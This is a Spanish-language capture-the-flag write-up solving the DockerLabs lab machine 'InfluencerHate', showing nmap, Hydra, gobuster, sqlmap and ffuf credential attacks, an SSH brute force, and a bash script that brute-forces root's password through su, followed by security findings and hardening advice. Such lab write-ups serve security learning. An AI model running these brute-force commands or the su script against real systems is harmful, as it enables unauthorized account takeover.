InfluencerHate
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina InfluencerHate, desarrollada por El Pingüino de Mario para la plataforma DockerLabs y clasificada como fácil.
El objetivo es documentar el proceso completo de compromiso del sistema, desde la enumeración inicial hasta la escalada de privilegios, analizando cada vector de ataque y describiendo las vulnerabilidades presentes.
La metodología se ejecutó en tres fases principales:
- Reconocimiento: Identificación de servicios expuestos y descubrimiento de rutas web accesibles.
- Explotación: Acceso inicial mediante descubrimiento de credenciales y fuerza bruta.
- Escalada de privilegios: Abuso de configuraciones débiles y técnicas de fuerza bruta local contra
su.
Todas las acciones fueron realizadas dentro del entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | InfluencerHate |
| Autor | El Pingüino de Mario |
| Dificultad | Fácil |
| Fecha | 28/06/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime y despliega la máquina:
unzip "InfluencerHate.zip"sudo bash auto_deploy.sh "InfluencerHate.tar"El script arroja la IP interna asignada:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p InfluencerHate/{content,exploits,nmap,gobuster,scripts}cd InfluencerHate1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos visibles:
- 22/tcp – SSH
- 80/tcp – HTTP

1.3 Enumeración Web
Sección titulada «1.3 Enumeración Web»Al ingresar al servicio HTTP se muestra una página protegida:

Para avanzar se utiliza un ataque con Hydra sobre credenciales por defecto:
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt \ 172.17.0.2 -s 80 http-get /Resultado:

Credenciales obtenidas:
httpadmin : fhttpadminCon estas credenciales se realiza un escaneo con Gobuster:
gobuster dir \ -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js \ -t 200 -U httpadmin -P fhttpadmin
Rutas relevantes:
/login.html/index.html
Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»2.1 Prueba de SQL Injection
Sección titulada «2.1 Prueba de SQL Injection»sqlmap -u "http://172.17.0.2/login.php" --forms --batch --dbs \ --headers="Authorization: Basic aHR0cGFkbWluOmZodHRwYWRtaW4="
Aunque se detectó la base de datos users, no contenía información útil.
2.2 Fuerza Bruta con FFUF
Sección titulada «2.2 Fuerza Bruta con FFUF»Se procede con un ataque POST:
ffuf -w /usr/share/wordlists/rockyou.txt:FUZZ \ -u http://172.17.0.2/login.php \ -X POST \ -H "Authorization: Basic aHR0cGFkbWluOmZodHRwYWRtaW4=" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=admin&password=FUZZ" \ -fw 802 -t 100
Credenciales válidas:
admin : chocolateAl iniciar sesión aparece un mensaje que revela un nuevo usuario:

Usuario identificado: balutin
2.3 Fuerza bruta SSH
Sección titulada «2.3 Fuerza bruta SSH»hydra -l balutin -P /usr/share/wordlists/rockyou.txt -f -t 64 ssh://172.17.0.2Resultado:

Acceso SSH:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 Fuerza bruta local contra su
Sección titulada «3.1 Fuerza bruta local contra su»Se transfiere el diccionario:
scp /usr/share/wordlists/rockyou.txt balutin@172.17.0.2:/Se crea el script:
#!/bin/bashecho "[*] Iniciando fuerza bruta contra 'su' con rockyou.txt"echo "[*] Diccionario: rockyou.txt"echo "[*] Esto puede tomar tiempo..."echo ""
counter=0while IFS= read -r password; do counter=$((counter + 1))
if [ $((counter % 1000)) -eq 0 ]; then echo "[*] Intentos realizados: $counter" fi
echo "$password" | timeout 2 su -c 'echo "SUCCESS"' 2>/dev/null | grep -q "SUCCESS"
if [ $? -eq 0 ]; then echo "" echo "[+] ¡CONTRASEÑA DE ROOT ENCONTRADA!" echo "[+] Contraseña: $password" echo "[+] Intentos realizados: $counter" exit 0 fi
done < rockyou.txt
echo "[-] Fuerza bruta completada. No se encontró la contraseña."echo "[-] Total de intentos: $counter"Resultado del ataque:

Se obtiene acceso root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Uso de credenciales por defecto en el servidor HTTP.
- Ausencia total de mecanismos antibruteforce en el formulario web.
- Revelación innecesaria de información sensible (
balutin). - Servicio SSH sin protección ante ataques de fuerza bruta.
- Contraseña de root extremadamente débil y sin restricciones de uso en
su. - Falta de políticas de contraseñas y ausencia de herramientas como Fail2ban.
Recomendaciones
Sección titulada «Recomendaciones»-
Eliminar todas las credenciales por defecto en cualquier servicio.
-
Implementar protección antibruteforce en aplicaciones web (rate-limiting, captchas, lockouts).
-
Evitar mostrar nombres de usuarios válidos en mensajes del sistema.
-
Fortalecer SSH:
- Autenticación por clave
- Fail2ban
- Restricción por usuarios permitidos
-
Implementar políticas estrictas de contraseñas.
-
Restringir el uso de
sua un grupo específico. -
Configurar monitoreo activo de logs para detectar ataques.